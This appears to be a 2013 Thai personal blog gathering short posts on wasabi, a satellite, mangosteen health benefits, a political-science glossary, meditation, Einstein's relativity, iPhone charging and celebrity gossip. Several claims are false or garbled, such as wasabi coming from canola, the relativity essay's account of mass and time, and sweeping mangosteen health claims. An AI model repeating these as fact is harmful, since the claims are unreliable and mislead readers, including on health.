วาซาบินั้นเป็นเครื่องปรุงที่ทำมาจากการบดส่วนลำต้นของพืช Canola (Japanese horseradish) ซึ่งจัดเป็นกลุ่มไม้ยืนต้นที่อยู่ในตระกูลเดียวกับพวกบรอกโคลีและกะหล่ำ เป็นสมุนไพรดั้งเดิมของญี่ปุ่น สามารถปลูกได้ทั้งบนดิน และพื้นน้ำ โดยการปลูกบนพื้นน้ำนั้นจะให้คุณภาพที่ดีกว่า และในหลายประเทศมักจะเรียกวาซาบิกันแบบผิดๆ ว่าฮอร์สแรดิชญี่ปุ่น ฮอร์สแรดิชสีเขียว หรือแม้แต่มัสตาร์ดญี่ปุ่น

ใบของวาซาบิจะคล้ายกับดอกของต้นโฮลีฮอค ต้นมีความสูงแค่เข่า ส่วนโคนลำต้นที่ใช้ในการทำอาหารมีลักษณะเป็นหัวเหมือนหัวไชเท้าหรือบอระเพ็ดแต่เป็นสีเขียวอ่อนๆ เมื่อบดแล้วมีกลิ่นที่ฉุนรุนแรง ถ้ารับประทานจะให้ความรู้สึกแสบร้อนขึ้นจมูกในระยะสั้นๆ ก่อนที่จะเปลี่ยนเป็นความกลมกล่อม จากรสหวานและขมผสมกัน และให้ความเผ็ดเล็กน้อย

โตชิโอะ ลิยาม่า เป็นหัวหน้าของทีมวิจัยวาซาบิ ซึ่งตั้งอยู่ในทางตอนใต้ของกรุงโตเกียว ระบุว่า วาซาบิ มีผลในการฆ่าเชื้อโรค มันสามารถต่อต้านการติดเชื้อแบคทีเรียบางชนิด และยังสามารถกำจัดพยาธิ Anisakis พยาธิ ที่อาศัยอยู่ในปลาได้ เมื่อมันผ่านเข้ามาในระบบการย่อยอาหารของมนุษย์ และเมื่อไม่นานมานี้ ยังมีการศึกษาพบอีกว่า วาซาบิ ยังมีฤทธิ์ต่อต้านสารก่อมะเร็ง ซึ่งเป็นผลดีต่อผิวหนัง และยังช่วยป้องกันเส้นเลือดอุดตัน


MySci's

ดาวเทียม Goce






ดาวเทียม Goce ของเป็นดาวเทียมขององค์การอวกาศยุโรป ที่ได้ตกสู่พื้นโลกเมื่อ 11 พฤศจิกายน 2013 ที่ผ่านมา หลังจากออกไปปฎิบัติภารกิจศึกษาสนามแรงโน้มถ่วงของโลกไปเมื่อ 17 มีนาคม 2009 ตอนนี้ได้ตกลงสู่ชั้นบรรยากาศของโลกแล้วเพราะดาวเทียมดวงนี้ได้หมดเชื้อเพลิงลง แต่อย่างไรก็ตามชิ้นส่วนต่างๆของดาวเทียมอาจถูกลุกไหม้ไปในชั้นบรรยากาศบริเวณมหาสมุทรแอตแลนติกนอกชายฝั่งอเมริกาใต้ก่อนจะตกสู่พื้นโลก


MySci's

มังคุด ราชินีของผลไม้ "ต้านโรค ลดความดันโลหิต"


มังคุดเป็นไม้ยืนต้น ลำต้นสูง 7-25 เมตร ผลมีเปลือกนอกค่อนข้างแข็ง เนื้อในมีสีขาวฉ่ำน้ำ อาจมีเมล็ดอยู่ในเนื้อผลได้ ขึ้นอยู่กับขนาดและอายุของผล จำนวนกลีบของเนื้อจะเท่ากับจำนวนกลีบดอกที่อยู่ด้านล่างของเปลือก ผลมังคุดมีรสชาติหวานอมเปรี้ยวเหมือนสตรอเบอรี่ที่ยังไม่สุกหรือส้มที่มีรสหวาน มังคุดเป็นผลไม้จากเอเชียที่ได้รับความนิยมมาก มังคุดได้รับขนานนามว่าเป็น "ราชินีของผลไม้"

ผลของการศึกษาฤทธิ์ในการจับอนุมูลอิสระโดยวิธี ORAC (Oxygen Radical Absorbance Capacity) ทำการเปรียบเทียบระหว่างน้ำผลไม้อื่นๆและมังคุด พบว่า มังคุดมีฤทธิ์ในการจับอนุมูลอิสระมากกว่า แครอท ราสเบอรรี่ บลูเบอรรี่ ทับทิม

ผลจากฤทธิ์ต้านอนุมูลอิสระของสารแซนโทน จึงป้องกันการเกิดออกซิเดชันของ LDL ซึ่งเป็นคลอเลสเตอรอลตัวร้าย จึงช่วยลดความเสี่ยงต่อการเกิดโรคหลอดเลือดหัวใจอีกทั้งยังลดการทำลายเซลล์ อันเป็นผลจากปฏิกิริยาลูกโซ่ จึงช่วยลดความเสี่ยงและชะลอการแก่ได้ด้วย
มีผลต่อการยับยั้งการเจริญเติบโตของเซลล์มะเร็งต่างๆรวมถึงการตายของเซลล์มะเร็งในการศึกษาระดับห้องปฎิบัติการ เช่น เซลล์มะเร็งเต้านม, เซลล์มะเร็งเม็ดเลือดขาว, เซลล์มะเร็งตับ, กระเพาะอาหาร และเซลล์มะเร็งปอด
มีผลดีต่อระบบภูมิคุ้มกัน และยับยั้งการเจริญเติบโตของเชื้อราและแบคทีเรียบางชนิด เช่น เชื้อวัณโรค, เชื้อ S. Enteritidis และเชื้อ HIV
สามารถยับยั้งการหลั่งสารฮิสตามีน ซึ่งเป็นส่วนสำคัญในการป้องกันโรคภูมิแพ้
สามารถยับยั้งการสังเคราะห์สารพลอสตาแกลนดินอีทู ซึ่งเป็นสาเหตุของการเกิดกระบวนการอักเสบต่างๆ เช่น การปวดอักเสบ กล้ามเนื้อและข้อ
มีฤทธิ์ในการช่วยขยายตัวของหลอดเลือด ดังนั้นจึงมีประโยชน์ในการลดความดันโลหิต


www.facebook.com/myscitv
www.nextsteptv.com

วันเสาร์ที่ 9 พฤศจิกายน พ.ศ. 2556

สัญลักษณ์ของวิทยาลัยการปกครอง


เป็นเข็มวิทยฐานะรูปดอกจันทร์นูน 8 แฉก มีรูปสิงห์อยู่ตรงกลาง เปรียบได้กับ มรรค 8 อันเป็นหลักธรรมของนักปกครอง คือ

1. ความเห็นชอบ
2. ดำริชอบ
3. เจรจาชอบ
4. ทำงานชอบ
5. เลี้ยงชีพชอบ
6. เพียรชอบ
7. ระลึกชอบ
8. ตั้งใจชอบ

ศัพท์รัฐศาสตร์ หมวด A

1.abatement การลดหย่อน
2.abdication การสละราชสมบัติ
3.above politics อยู่เหนือการเมือง
4.absolute monarchy สมบูรณาญาสิทธิราชย์
5.abstention การงดออกเสียง
6.accord ตกลง ยินยอม ข้อตกลง หรือข้อตกลงทางการระหว่างประเทศ
7.acting รักษาการแทน รักษาการในตำแหน่ง
8.adjournment การปิดประชุม
9.adjournment of the debate การเลื่อนอภิปราย
10.adjournment of the house การปิดประชุมสมัย
11.administration การบริหาร ฝ่ายปกครอง
รัฐบาล ( อเมริกัน )
12.administration organization การจัดระเบียบทางการปกครอง การจัดระเบียบราชการบริหาร
13.administration tribunal ศาลปกครอง
14.adoption การมีมติเห็นชอบ
15.advisory commission คณะกรรมาธิการที่ปรึกษา
16.affirmation การปฏิญาณตน
17.agenda ระเบียบวาระการประชุม
18.alternative vote การออกเสียงลงคะแนนหลายรอบ
19.ambassador เอกอัครราชทูต
20.ambassador extraordinary and plenipotentiary เอกอัครราชทูตวิสามัญผู้มีอำนาจเต็ม
21.amendment การแก้ไขเพิ่มเติมกฏหมาย การแปรญัตติ คำแปรญัตติ
22.amnesty นิรโทษกรรม
23.anachism ลัทธิอนาธิปไตย
24.appointment , nomination การแต่งตั้ง
25.arbitrament คำวินิจฉัยชี้ขาดของอนุญาโตตุลาการ
26.arbitrator อนุญาโตตุลาการ
27.aristocracy อภิชนาธิปไตย
28.assemble , liberty to assembly เสรีภาพในการชุมนุม สภา สมัชชา การชุมนุม
29.assembly , constituent สภาร่างรัฐธรรมนูญ
30.assembly , freedom of เสรีภาพในการชุมนุม
31.representative สภาผู้แทนราษฎร
32.assent , royal พระบรมราชานุญาต
33.assistant district officer ปลัดอำเภอ ( ไทย )
34.asylum , political ที่ลี้ภัยทางการเมือง
35.attorney at law ทนายความ
36.attorney in fact ผู้รับมอบอำนาจ
37.autarchy เอกาธิปไตย
38.authoritianism ระบอบอำนาจนิยม
39.autocracy อัตตาธิปไตย
40.autonomous region เขตปกครองตนเอง
41.autonomy ความเป็นอิสระ ( ในการปกครองตนเอง )


INFO: Dek - D

วันจันทร์ที่ 28 ตุลาคม พ.ศ. 2556

ปกติจะไม่ฝัน แต่วันนี้มาแปลกฝันเป็นเรื่องเป็นราว



ช่วงนี้รู้สึกแปลกๆ จะมึนๆ หัวและอ่อนเพลีย จนหลับไปเวลาเย็นๆ ตื่นมาอีกทีก็สี่ห้าทุ่ม เป็นมาหลายวันแล้ว ตอนนี้ก็เพิ่งตื่นขึ้นมา ปกติจะไม่ฝัน แต่วันนี้มาแปลกฝันเป็นเรื่องเป็นราว

ไปเจอผู้คนหลายคนที่รู้จัก (ไปเจอคนยังไม่ตายนะ) และไม่รู้จัก หลายคนที่ไม่รู้จักมีบุคลิกที่ดูแตกต่างกันไป สถานที่ก็ไม่มีจริง และก็ฉากเดินผ่านขบวนพาเหรดขบวนใหญ่และยาวมากเป็นนักศึกษาประถมจัดงานอะไรกันก็ไม่รู้ จน ต้องเลี่ยงไปเดินข้างทาง แล้วดันหลงเข้าไปในตึกรู้เลย ว่าเดินผ่าห้องเรียนของเด็กประถม แล้วก็มีเสียงดนตรีเป็นเหมือนเสียงคนเล่นเปียโน (เพลงคลาสิกง่ายๆ แต่จำไม่ได้หละ) พอหลุดจากนั้นมา ก็ได้ยินเสียงเพลงเป็นเพลงวัยรุ่นสมัยใหม่นี้หละ (จำเพลงไม่ได้อีกหละ แต่ออกแนวร็อคๆ) เนื้อเพลงมีเนื้อหา ทำให้อารมณ์ในฝัน มันคิดตาม แล้วในใจตอนนั้น ก็คิดว่า ทำไม ๆ ต้องเป็นเรา มันเหมือนย้อนกลับไปคิดถึงความทรงจำบางอย่างที่เป็นจุดเริ่มต้นทุกอย่างในอดีตที่ผ่านมา ที่กำหนดให้เป็นตัวเรา มีบุคลิก ความนึกคิด แบบปัจจุบันนี้ แล้วก็มองดูตัวเองแต่มันแปลก คือใส่เครื่องแบบครึ่งท่อน ซึ่งมันไม่ใช่แบบที่เราเป็นอยู่นี่ แล้วก็ตื่นแบบสะดุ้งเลย... มานั่งคิดดู เหมือนจะให้ตีความในฝันอะไรบ้างอย่าง แต่ที่น่าตลกก็ไอ้ตอนมองดูตัวเองก่อนตื่นนี้หละ มันไม่ใช่แบบที่เราเป็นตอนนี้นิ แล้วอารมณ์ในฝันตอนนั้นมันออกแนวปะชดประชันอีก แต่ก็ทำให้ได้คิดอะไรบ้างอย่างออก...

วันอาทิตย์ที่ 13 ตุลาคม พ.ศ. 2556

วิธีช่วยเพิ่มพลังสมอง






ดร.เดวิด กรูเดอร์ นักวิทยาศาสตร์ชาวอเมริกัน เปิดเผยวิธีเพิ่มพลัง "การจดจำ" ของสมองส่วนหน้าบริเวณซีรีบรัมแบบง่าย ๆ และได้ผลอย่างไม่น่าเชื่อ เพื่อแก้ปัญหาสมองเหนื่อยล้าจากการเรียนหนังสือหนักๆ มาทั้งวัน โดยเฉพาะเวลาเรียนวิชายาก ๆ สมองในส่วนจดจำจะเริ่มลดประสิทธิภาพลง ทำให้เด็กรู้สึกเบื่อ ไม่มีสมาธิ และเรียนไม่รู้เรื่อง

ดร.กรูเดอร์ แนะนำว่าให้ลองขีดๆ เขียนๆ วาดรูปโน่นนี่ไปตามจินตนาการที่เรียกว่า "ดูเดิ้ล" ช่วยให้สมองกลับมากระฉับกระเฉง พร้อมเรียนรู้ในทันที

อีกเทคนิคคือ การดมกลิ่น "ดอกโรสแมรี่" หรือ "น้ำมันโรสแมรี่" วิธีนี้ช่วยให้สมองทำงานได้ดีขึ้นอย่างเหลือเชื่อ เนื่องจากโรสแมรี่มีสรรพคุณกระตุ้น "แอซิติลโคลีน" สารสื่อประสาทซึ่งเป็นกุญแจหลักในการกระตุ้นให้สมองตื่นตัวนั่นเอง


INFO: www.nextsteptv.com

วันเสาร์ที่ 12 ตุลาคม พ.ศ. 2556

โคลงพระราชนิพนธ์ เกียรติศักดิ์ทหารเสือ

พระบาทสมเด็จพระมงกุฎเกล้าเจ้าอยู่หัวตรัสไว้เมื่อครั้งที่หนังสือพิมพ์ดุสิตสมิต นำโคลงนี้ไปตีพิมพ์ เมื่อ พ.ศ. 2461 ว่า

"นักรบฝรั่งเศสโบราณมีภาษิตอยู่อัน 1 สำหรับเป็นบรรทัดฐานแห่งความประพฤติของเขา เป็นภาษิตที่จับใจข้าพเจ้ายิ่งนัก จึ่งได้นิพนธ์เทียบเป็นคำโคลงภาษาไทยขึ้นไว้ว่า "


มโนมอบพระผู้     สถิตย์อยู่ยอดสวรรค์
แขนถวายให้ทรงธรรม์     พระผ่านเผ้าเจ้าชีวา
ดวงใจให้ขวัญจิต     ยอดชีวิตและมารดา
เกียรติศักดิ์รักของข้า     ชาติชายแท้แก่ตนเอง

มโนมอบพระผู้     เสวยสวรรค์
แขนมอบถวายทรงธรรม์     เทอดหล้า
ดวงใจมอบเมียขวัญ     และแม่
เกียรติศักดิ์รักข้า     มอบไว้แก่ตัว


แขนมอบถวายทรงธรรม์ เทอดหล้า (ภาพประกอบจาก ดุสิตสมิต)

วันเสาร์ที่ 14 กันยายน พ.ศ. 2556

มะเขือเทศ Azoychka Tomato


เป็นมะเขือเทศที่มีสีสันแตกต่างไปจากท้องตลาดโดยที่มะเขือเทศสายพันธุ์นี้มีสีเหลือง ผลมีขนาดใหญ่มีขนาด150-300 กรัมต่อผล เนื้อหวานฉ่ำ ต้นของมันมีความสูง 1.5-1.8 เมตร เมื่อปลูกไปแล้วราว96-80วันก็จะสามารถเก็บเกี่ยวผลได้


INFO: สำรวจโลก

วิธีฝึกสมาธิ

10 วิธีฝึกสมาธิง่าย ๆ

          ในยุคที่เต็มไปด้วยความเร่งรีบ การแข่งขัน และความวุ่นวายมากมาย ทำให้ใครหลายคนหันหน้าเข้าหาธรรมะ และเลือกพักผ่อนจิตใจตัวเองด้วยการนั่งสมาธิ ซึ่งเป็นเรื่องง่าย ๆ ที่ใครก็สามารถทำได้ ทำให้ทุกวันนี้ไม่เพียงคนรุ่นพ่อรุ่นแม่ หรือปู่ย่าตายาย เท่านั้น แต่หนุ่มสาวคนรุ่นใหม่ ก็หันมาฝึกนั่งสมาธิกันมากขึ้นด้วย

          สำหรับใครที่ยังไม่เคยและอยากลองสัมผัสความสุขเล็ก ๆ และประโยชน์ดี ๆ จากการนั่งสมาธิ วันนี้เรามีเคล็ดลับเล็ก ๆ น้อย ๆ ที่จะทำให้การฝึกนั่งสมาธิของคุณเป็นเรื่องง่ายมาฝากกันค่ะ


 1. จัดท่าทางให้ถูกต้อง

          จริงอยู่ว่าใคร ๆ ก็นั่งขัดสมาธิ เพื่อนั่งสมาธิได้ แต่การนั่งที่ถูกต้อง คือ คุณต้องแน่ใจว่าคุณนั่งตัวตรง หัวตรง นั่นเพราะร่างกายของเราสัมพันธ์กับจิตใจค่ะ หากคุณนั่งตัวงอแล้วละก็ จิตใจของคุณก็จะล่องลอยไป ไม่อยู่กับเนื้อกับตัวนะคะ แต่ไม่ต้องนั่งเกร็งมาก ให้นั่งเหมือนเรากำลังผ่อนคลายดีที่สุด

 2. เปิดตานั่งสมาธิ

          บางครั้งการนั่งสมาธิ ไม่จำเป็นต้องหลับตาเสมอไป คุณสามารถเปิดตาไว้ แต่ปรับระดับสายตาให้มองต่ำลง โดยกำหนดจุดให้เพ่งรวบรวมสมาธิไว้ เพราะบางคนเมื่อปิดตาแล้วกลับรู้สึกฟุ้งซ่าน ในหัวสมองเต็มไปด้วยเรื่องราวต่าง ๆ อย่างไรก็ตาม ก็ขึ้นอยู่กับแต่ละคนว่าวิธีใดทำแล้วได้ผลมากกว่ากัน

 3. กำหนดรู้ลมหายใจ

          การกำหนดลมหายใจเข้า-ออก เป็นการกำหนดที่ตั้งของสติ เพื่อให้จิตเราอยู่กับสิ่งที่เป็นอยู่ในปัจจุบัน ไม่ฟุ้งซ่านไปเรื่องอื่น ๆ แต่เราไม่จำเป็นต้องไปบังคับการหายใจ แค่ปล่อยให้มันเป็นไปตามธรรมชาติ

 4. นับลมหายใจเข้า-ออก

          การนับลมหายใจเข้าออก เป็นวิธีปฏิบัติสมาธิมาตั้งแต่โบราณ โดยเมื่อคุณหายใจออกก็ให้คุณเริ่มนับหนึ่งในใจ ต่อไปก็เป็นสองสามสี่ตามลำดับ แต่เมื่อไหร่ก็ตามที่คุณรู้สึกว่าความคิดของคุณกำลังล่องลอยออกไปที่อื่น ให้คุณกลับมาตั้งต้นนับหนึ่งใหม่อีกครั้ง เพื่อให้คุณนำจิตกลับมาที่เดิม

 5. ควบคุมความคิดไม่ให้เข้ามารบกวน


          เมื่อคุณรู้สึกว่าคุณกำลังมีความ คิดเข้ามารบกวนจิตใจ ค่อย ๆ ขจัดความคิดเหล่านี้ออกไป โดยหันมาสนใจกับการกำหนดลมหายใจ อย่าพยายามหยุดความคิดในทันที เพราะมันจะทำให้คุณฟุ้งซ่านและไม่สามารถกลับเข้าสู่สมาธิได้อีก

 6. กำจัดอารมณ์ให้หมดสิ้น

          มันเป็นการยากที่จะนั่งสมาธิในขณะที่จิตของคุณเต็มไปด้วยอารมณ์ เพราะอารมณ์จะทำให้เกิดเรื่องราวต่าง ๆ ในจิตใจ โดยเฉพาะอารมณ์โกรธ กลัว เสียใจ ซึ่งไม่ได้ทำให้คุณอยู่กับปัจจุบัน หรืออยู่กับสิ่งที่เป็นในตอนนี้เลย ให้คุณจัดการกับอารมณ์ที่เกิดขึ้นนี้โดยกำหนดลมหายใจไปที่ความรู้สึกของร่างกายที่ควบคุมอารมณ์ส่วนนั้น เพราะจะทำให้คุณไม่คิดถึงเรื่องราวที่ทำให้คุณกลัว หรือโกรธอีก แต่หันมาเพ่งกับสิ่งที่เป็นอยู่ในขณะนี้แทน

 7. ความเงียบบ่อเกิดแห่งความสงบ

          การนั่งสมาธิควรจะนั่งในที่เงียบ ๆ เพื่อทำจิตให้ว่าง ไม่ใส่ใจถึงบุคคล เสียง หรือสิ่งอื่นที่อยู่โดยรอบ เพราะความเงียบจะนำมาซึ่งความสงบเยือกเย็น และความรู้สึกมั่นคง เมื่อไหร่ก็ตามที่ความเงียบภายนอกและภายในประสานกันได้ คุณก็จะรู้สึกได้พักกายพักใจ ผ่อนคลายจากความคิดที่รบกวนคุณอยู่ตลอดมา

 8. เวลาในการนั่งสมาธิ

          เมื่อเริ่มต้นนั่งสมาธิใหม่ ๆ คุณอาจจะลองนั่งก่อนประมาณสัก 10 นาที และจึงค่อย ๆ เพิ่มขึ้นเรื่อย ๆ จนรู้สึกว่าจิตคุณเริ่มนิ่งมากขึ้น แต่อย่าบังคับตัวเองให้นั่งนานเกินไปหากคุณยังไม่พร้อม ทั้งนี้ ระยะเวลาที่เหมาะ คือประมาณ 25 นาที เพราะเป็นระยะเวลาที่ไม่ทำให้รู้สึกปวดเมื่อยร่างกายเกินไปจนรบกวนสมาธิได้

 9. สถานที่ในการนั่งสมาธิ

          สถานที่และบรรยากาศก็ช่วยให้คุณทำสมาธิได้ดีขึ้น ซึ่งการนั่งสมาธิในห้องพระจะช่วยให้จิตใจสงบและรู้สึกเป็นสมาธิมาก หรือคุณอาจจะวางสิ่งเล็ก ๆ ที่คุณชอบ หรือช่วยให้คุณรู้สึกผ่อนคลายไว้รอบ ๆ ที่คุณนั่งสมาธิก็ได้

 10. มีความสุขไปกับการนั่งสมาธิ

          คนเราหากทำอะไรแล้วมีความสุข เราก็จะทำมันได้ดี และรู้สึกอยากทำต่อไป ในการนั่งสมาธิก็เช่นกัน หากคุณมีความสุขในการนั่งสมาธิ คุณก็จะรู้สึกผ่อนคลายสบายตัว และอยากจะทำต่อไป จนสามารถทำเป็นกิจวัตรที่ทำทุกวันได้


INFO: http://health.kapook.com/view26826.html

วันจันทร์ที่ 9 กันยายน พ.ศ. 2556

เรื่องของ มิติที่ 4 ของไอน์สไตน์






มิติที่ 4 ของไอน์สไตน์จากสูตรสัมพัทธภาพว่า E = mc2
     
E = Energy พลังงานที่วัดขนาดเป็นปริมาตรไม่ได้ แต่สังเกตได้จากขนาดการเปลี่ยนแปลงที่เกิดจากพลังงานในช่วงเวลาที่วัดเป็น มิติเวลาได้ และจากความเข้มของการเปลี่ยนแปลงในมวลสาร
     
m = Mass มวลสารที่วัดขนาดเป็น 3 มิติแห่งเทศะได้อย่างเป็นอิสระจาก 1 มิติเวลา
    
 c = Constant ซึ่งมีค่าเท่ากับความเร็วของแสง คือ 3 แสนกิโลเมตรต่อวินาที อันเป็นความเร็วสูงสุดที่อาจจะปรากฏเป็นปรากฏการณ์ได้ หรือกล่าวได้อีกอย่างว่า ไม่มีอะไรจะมีความเร็วได้เกินความเร็วของแสง และเมื่ออะไรก็ตามที่เร็วโดยตัวเองจะกลายเป็นพลังแสง และถ้าเร็วถึงอัตราความเร็วของแสงจะกลายเป็นพลังงานหมด เพื่อรักษาความเร็วของแสง (ทฤษฎีนี้ของไอน์สไตน์เริ่มจะมีผู้กังขา)
     
สมการ E = mc^2 \,\! หรือ E =   หรือ พลังงาน =   จึงมีแฟคเตอร์สัมพัทธ์กันอยู่ 3 ชนิด คือ พลังงานที่ผลักดันให้เกิดความเร็ว มวลสารที่มีขนาดวัดได้เป็น 3 มิติของเทศะ รวมเรียกว่าห้วงเทศะ และช่วงเวลาวัดได้เป็น 1 มิติ
   
หากไม่ใส่พลังงานเข้าไป  หรือพลังงานเป็น 0 ทั้ง 3 แฟคเตอร์ก็จะมีสภาพคงตัวนิรันดรตามข้างขวาของสมการ ครั้นพลังงานไม่เป็น 0 ไม่ว่าจะมากหรือน้อย แฟคเตอร์ทั้ง 3 จะทำปฏิกริยาต่อกันทันทีตามสมการ คือ พลังงานมากขึ้นจะทำให้ระยะทางมากขึ้นตามส่วน พลังงานที่เพิ่มขึ้นจาก 0 นั้นมาจากไหน ตามความคิดของไอน์สไตน์ พลังงานกับมวลสารเปลี่ยนแปลงไปมาหากันได้  ดังนั้นเพื่อให้เกิดระยะทาง (D) พลังงานมาจากไหนไม่สำคัญ แต่มวลสารที่เคลื่อนที่ได้ระยะทางก็ต้องแปรสภาพมาเป็นความเร็ว ก็หมายความว่าความเร็วยิ่งมาก มวลสารก็ต้องลดลง และจะได้ความเร็วเป็นปฏิภาคส่วนตรง ในขณะเดียวกันช่วงเวลาก็จะยืดออกเป็นปฏิภาคส่วนกลับ เพื่อได้จำนวน C ให้เป็น 300,000 กิโลเมตรต่อวินาทีไว้เสมอ และตรงข้ามเมื่อมวลสสารลดความเร็วลดลง พลังงานที่ใช้น้อยลงจะแปร สภาพเป็นมวลสาร ทำให้มวลสารมีขนาดใหญ่ขึ้น และช่วงเวลาก็จะหดลงตามส่วน
    
สรุปได้ว่า หากเกิดการเคลื่อนที่ของมวลสารขึ้นเมื่อใด ตามทฤษฎีสัมพัทธภาพ มวลสารหรือขนาดของก้อนสสารที่เคลื่อนจะลดขนาดลงเป็นปฏิภาคส่วนกลับกับความ เร็ว และเวลาจะยืดมากขึ้นเป็นปฏิภาคส่วนตรงกับความเร็ว เช่นดินสอ  ที่ถืออยู่ในมือ หากมีความเร็ว ขนาดจะ  เล็กลง ยิ่งเร็วยิ่งเล็กลง แต่ในขณะเดียวกันช่วงเวลาจะยืดออก ยิ่งเร็วยิ่งยืด คือ   อายุจะยาวมากกว่าอยู่นิ่ง ๆ ภาพยนตร์ เรื่องผจญพิภพวานร (The Space of the Apes) เป็นตัวอย่างการประยุกต์ทฤษฎีนี้กับชีวิตที่อาจจะเกิดขึ้นเมื่อมีการ ส่งยานอวกาศออกเดินทางในอวกาศเป็นเวลานาน
    
มิติที่ 4 ของไอน์สไตน์ก็คือช่วงเวลานั่นเอง มวลสารหรือสสารก้อนใดก็ตาม ย่อมมีห้วงเทศะ 3 มิติ คือ กว้าง ยาว สูง รวมกับช่วงเวลาเป็นมวลสสาร 4 มิติ คือ กว้าง ยาว สูง และอายุ ตัวท่านผู้อ่านทุกท่านมี 4 มิติด้วยกันทุกคน คือ มีขนาดกว้าง ยาว สูง และอายุ หากท่านลดความกว้างของท่านไปเรื่อย ๆ อีก 3 มิติ คือ ยาว สูง และอายุยังคงมีอยู่ อาจจะเปลี่ยนตัวเลขเท่านั้น แต่ถ้าลดความกว้างเหลือ 0 เมื่อใด อีก 3 มิติก็จะเป็น 0 ตามไปด้วยทันทีโดยจำเป็น ลองทำดูกับมิติยาว และสูง ก็จะได้ผลเช่นเดียวกัน อายุก็เช่นกัน ท่านอาจจะลดอายุลงได้เรื่อย ๆ ไปโดยยังคงมีมิติกว้าง ยาว สูง อยู่ทุกอายุ ครั้นอายุถึง 0 คือยังไม่เกิด มิติกว้าง ยาว สูง ของท่านจะหายวับไปกับตาทันที
    
อธิบายเป็นตัวหนังสือได้เพียงแค่นี้แหละครับ  ถ้าต้องการความกระจ่างกว่านี้ก็ต้องมาเสวนากันแหละครับ สวนสุนันทาเปิดเสวนาปัญหาปรัชญาทุกวันอาทิตย์ ติดต่อ ศ.กีรติ บุญเจือ 08-6045-5299.


กีรติ  บุญเจือ...ศาสตราจารย์ราชบัณฑิต
Credit Daily New Online

INFO: http://www.unigang.com/Article/189

วันอาทิตย์ที่ 8 กันยายน พ.ศ. 2556

วิธีการชาร์จ iPhone และอุปกรณ์ iOS ให้เต็มเร็วขึ้น


ผู้ใช้ iphone หรือ iOS หลายๆท่าน คงมีปัญหาเรื่องการชาร์จแบตทั้งแบบเสียบกับไฟบ้าน หรือผ่านทาง Power Bank  ว่าทำไมกว่าจะชาร์ตเต็มนี่ ช้าจัง เหมือนนิ่งๆ ต้องเสียบชาร์จคาไว้กว่าจะเต็ม วันนี้จะมาแนะนำเคล็ดลับที่ทำให้ iPhone สามารถชาร์จได้เต็มเร็วขึ้น

1. ปิดเครื่อง iPhone หรือ iOS แล้วเสียบเข้ากับสายชาร์จ  วิธีนี้จะทำให้ชาร์จไฟได้เร็ว เพราะ iPhone จะไม่รับคำสั่งอื่นๆที่เคยเปิดเครื่องเลยนอกจาก ชาร์จอย่างเดียว แต่คุณจะไม่สามารถใช้ iPhone ในการติดต่อกับคนอื่่น หรือไม่สามารถรอรับสายคนอื่นโทรมาเท่านั้น  ส่วนเปิดเครื่อง ให้ stand by ชาร์จ กับ เปิดโหมดเครื่องบินไว้ ก็ไม่ได้ช่วยทำให้การชาร์จไฟเร็วขึ้นนะ เพราะ sell phone หรือตัวแอพทำงานเบื้องหลัง ยังทำงานอยู่

2. ใช้ที่ชาร์จ iPhone (Adaptor ) ในการชาร์จไฟที่บ้านหรือที่ทำงานเลย เร็วกว่าใช้ Mobile Booster หรือชาร์จผ่าน usb อีก

3. เก็บไว้ในอุณหภูมิที่เหมาะสม ไม่ร้อนไม่เย็นจนเกินไป อุณหภูมที่เหมาะสมที่ว่านี้ อยู่ระดับ 22 องศาเซลเซียส

4. หากชาร์จผ่านพอร์ต usb ต้องเพิ่มกำลังการจ่ายไฟ ถึงสามารถชาร์จได้เร็ว แต่ต้องระวังเครื่องจะช็อตได้เช่นกัน

5. การชาร์จ ควรชาร์จให้เต็ม 100% แล้วใช้งานโทรศัพท์ จนแบตเกือบหมด แล้วชาร์จให้เต็มใหม่อีกครั้ง เพื่อรักษาประจุไฟของแบต iPhone ซึ่งแบต iPhone นี้เป็นแบบ lithium

6. เรื่องสายชาร์จและอุปกรณ์ชาร์จ ก็เป็นสิ่งสำคัญ ต้องเป็นสายชาร์จแท้ที่แถมกับโทรศัพท์ตอนซื้อใหม่เท่านั้น หากทำหาย ก็ต้องซื้อจากศูนย์บริการ เช่นตัวแทนจำหน่ายที่ Apple แต่งตั้ง ในร้านไอที  หรือในร้าน iStudio  เป็นต้น เพื่อความปลอดภัยของผู้ใช้ เพราะหากใช้สายปลอมอาจไม่สามารถชาร์จได้ หรือเกิดไฟช็อตไฟฟ้าลัดวงจร อันตรายถึงชีวิต

เพียงเท่านี้คุณก็สามารถชาร์จไฟมือถือ iPhone ให้เต็มเร็วยิ่งขึ้น  วิธีนี้ใช้ได้ตั้งแต่ iPhone รุ่นเก่าๆ ไปยังรุ่นอนาคตที่จะเปิดตัวในวันที่ 10 กันยายนนี้ด้วย



ข้อมูลจาก Mashable
INFO: http://www.it24hrs.com/2013/speed-charge-iphone-faster/

เป้ อารักษ์ เลิกคุย เนย เนโกะจั๊มพ์ ถือเป็นบทเรียน


          แม้ว่าจะผ่านบทเรียนเรื่องความรักมาเยอะพอสมควร สำหรับหนุ่มมาดเซอร์ “เป้ อารักษ์” แต่ล่าสุดหนุ่มเป้ก็ได้บทเรียนอีกครั้ง เมื่อเข้าไปคุยกับนักร้องสาวรุ่นน้อง “เนย เนโกะจั๊มพ์” โดยที่ไม่รู้ว่าสาวเนยนั้นมีคนคุยอยู่ก่อนแล้ว ซึ่งทำให้หนุ่มเป้ถึงกับตัดสินใจถอนตัวออกมาเลยทีเดียว ซึ่งเจ้าตัวได้ให้สัมภาษณ์ถึงบทเรียนครั้งนี้ว่า

          “(กับ เนย เนโกะจั๊มพ์ ว่ายังไง?) นั่นแหละครับ ผมก็แอบไปคุยกับเค้าครับผม แต่ว่าคุยได้นิดเดียวเองครับ ก็ไม่ได้คุยแล้ว ก็แค่ไปทักทาย (จีบน้องหรือเปล่า?) ก็ประมาณว่าอยากจะรู้จักครับ ถ้าเกิดพูดว่าจีบคงไม่ดี เดี๋ยวฝ่ายนู้นฝ่ายนี้จะเสียหายครับ เค้าก็น่ารักแหละครับ (ขอเบอร์มาจากใคร?) เป็นบุคคลที่ดีต้องปกป้องครับ (ไปเจอน้องเค้ายังไง?) เจอนานแล้ว เจอหลายครั้งแล้วครับผม (แล้วทำไมถึงเลิกคุย?) ก็ไม่ได้เริ่มอะไรเลยครับ ความจริงแล้วมันนิดเดียวจริงๆครับ แต่พอดีมันดันไปเป็นข่าวครับ (รู้สึกว่าไม่ใช่หรือยังไง?) ผมก็ไม่แน่ใจเหมือนกันครับ ผมก็ไม่รู้ตัวเองเหมือนกันครับ มันไม่มีอะไร 